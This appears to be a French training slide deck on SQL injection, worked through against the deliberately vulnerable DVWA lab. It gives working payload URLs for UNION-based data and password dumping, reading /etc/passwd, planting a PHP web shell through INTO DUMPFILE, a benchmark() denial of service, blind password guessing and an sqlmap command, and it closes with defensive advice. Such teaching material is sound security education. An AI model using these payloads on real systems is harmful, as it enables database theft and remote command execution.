-
Vincent Mazenod authoredVincent Mazenod authored
- Injection SQL
- aka SQLi
- Principe
- Que peut on faire?
- Différents types
- Error-based
- Boolean (Blind)
- Différents types
- (true) Blind
- SQLi Error-based
- SQLi Error-based
- SQL Injection - security low
- SQL Injection - security low
- SQLi - security low
- SQLi - security low
- SQLi - security low
- SQLi - security low
- SQLi - security low
- SQLi - security medium
- SQLi - security medium
- SQLi - security medium
- SQLmap
- SQLi (Blind) - security low
- True Blind SQL Injection
- Se préserver
- Se préserver
- Se préserver
Injection SQL
aka SQLi
Principe
- Une application envoie des données
- non sanitized à un interpréteur
- L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (payload)
- toutes sources de données peut être utilisées
- paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
- au niveau de la requête et de la réponse
- toutes sources de données peut être utilisées
Que peut on faire?
- Lire des données "protégées"
- Corrompre des données
- Dénis de services
- Lecture / écriture sur le système de fichiers
- Exécution de commandes arbitraires
Note:
- marche pour tout interpréteur LDAP, XML, bash (shellshock)
- détectable aux messages d'erreur en cas d'input invalide
- SQL universel ce qui rend la faille très populaire
- au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
- écriture dans des fichiers
- passer des commandes via xp_commandshell pour un server MSSQL
- au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
- SQL universel ce qui rend la faille très populaire
- potentielle compromission totale
- exécution de code
- backdoor
- local root exploit
Différents types
Error-based
- Les messages d'erreur mysql sont accessibles
Boolean (Blind)
- Pas de message d'erreur
- Un comportement différent selon que la payload est exécutée ou non
- nécessite en général d'itérer
- avec un LIKE par exemple pour déduire lettre par lettre
- nécessite en général d'itérer
Différents types
(true) Blind
- Pas de message d'erreur
- Pas de moyen de savoir si la payload a été éxécutée ou non
- cas d'une redirection systématique
- nécessite en général d'itérer
- avec un LIKE par exemple pour déduire lettre par lettre
Note:
- boolean type: formulaire d'authentification
- erreur en cas d'échec
- drapeau rouge
- home page en cas de succés
- drapeau vert
- attention une 404 ou une 500 peut être le drapeau vert
- erreur en cas d'échec
- blind typique
- accès à un contenu privé www.example.org/display.php?item=1'
- redirige systématiquement sur la page d'authentification
- l'idée est de charger la requête et de chronomtérer le temps d'exécution
- une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
- Benchmark() MySQL
- WaitFor() MSSQ
- l'idée est de charger la requête et de chronomtérer le temps d'exécution
- redirige systématiquement sur la page d'authentification
- accès à un contenu privé www.example.org/display.php?item=1'
SQLi Error-based
L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
SQLi Error-based
détectable en tentant une simple ' en entrée
http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
produit
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for
the right syntax to use near ''''' at line 1
intéressant!
SQL Injection - security low
sensible à (version human readable)
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
soit en version encodée
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
affiche la liste de tous les utilisateurs
** on peut mieux faire !! **
Note:
- je donne les urls en mode human readable
- les valeurs sont à copier dans le champs
- PAS dans l'url
- les valeurs sont à copier dans le champs
- se détecte avec juste ' ou en fuzzant plus large
- fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
- fuzzdb/attack-playloads/attack-payloads/all-attacks
- tester avec Burp
- avec la hackbar
- mettre un flag grep SQL
- filtrer par length, error, et flag SQL
SQL Injection - security low
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit
affiche un message d'erreur
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
est exécutée
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit
affiche un message d'erreur
par dichotomie
il y a 2 champs dans la clause SELECT
Note:
- va nous permettre d'étendre les requêtes à d'autres tables
SQLi - security low
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit
affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users
http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit
affiche le nom de la base de données à la fin de la liste des users
SQLi - security low
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
- affiche toutes les tables via la table virutelle information_schema
- quand on fait de l'UNION de deux tables distincts on parle de Cross table
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit
affiche toutes les tables qui contiennent user
SQLi - security low
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
- affiche toutes les champs de la table user
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
-
affiche toutes les valeurs des champs user et password de la table user
- reste à brute forcer
SQLi - security low
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
- chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
- DoS
- utile pour les vraies blind SQLi
SQLi - security low
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit
affiche toutes le contenu du fichier /etc/passwd
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
écriture du fichier shell.php dans le système de fichiers
http://dv.wa/hackable/uploads/shell.php?cmd=ls
execution de commandes systèmes avec les privilèges du thread apache
SQLi - security medium
le code vulnérable a changé entre low et medium
- utilisation de la fonction mysql_real_escape_string()
- ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, , ', " et \x1a.
- contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés
- ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, , ', " et \x1a.
SQLi - security medium
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
devient
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
SQLi - security medium
donc l'injection du niveau low
' OR user_id > 0#
devient pour fonctionner au niveau medium
1 OR user_id > 0#
devient une fois encodée
1%20OR%20user_id%20%3E%200
et s'injecte directement via l'url
http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
Note:
- à saisir directement dans l'url
- utiliser plutôt l'encoder de burp
- sinon hackbar à comparer
- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/
SQLmap
- Fait tous le boulot à votre palce
- une ligne de commmande
- affiche des résultats propres
- abstrait
- le moteur de base de données
- les différentes techniques d'injections
- une ligne de commmande
sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
remplacer par la valeur de votre jeton de session
SQLi (Blind) - security low
- on se concentre sur le user 1337 (id=3)
- on cherche à deviner son mot de passe
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
n'affiche rien!! en revanche
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
affiche
ID: 3' AND password LIKE '8%
First name: Hack
Surname: Me
True Blind SQL Injection
- Si aucun output n'est disponible
- on ajoute du calcul artificiellement
- la payload est exécutée
- le temps de réponse = temps de traitement + temps de calcul artificiel
- la payload n'est pas exécutée
- le temps de réponse = temps de traitement
- la payload est exécutée
- on ajoute du calcul artificiellement
problématique similaire à une booléenne
Note:
- discussion sur les vraies blind
- in fine même problème une fois scripter
Se préserver
- Ne plus utiliser les fonctions mysql_ leur préférer mysqli_
- Utiliser des requêtes préparées
- PDO, ORM : Doctrine2, Propel
- Être le plus silencieux possibles quant aux requêtes invalides
- @ mais pas or die()
- error_reporting, pas mysql_error() ni mysqli_error()
- repérer les requêtes suspectes dans les logs
Note:
- TODO regarder si les messages sont désactiables à partir de MySQL
Se préserver
- Filtrage par listes blanches
- caster
-
intval(), floatval(), ...
- si l'id est toujours un entier ...
-
intval(), floatval(), ...
- échappement des paramètres de requêtes
- caster
Se préserver
- Web Application Firewall (WAF)
- Les privilèges de l'utilisateur SQL ont un sens
- FILE
- attention aux permissions sur la base de données
- information_schema ...
- Changer les préfixes de table des CMS quand c'est possible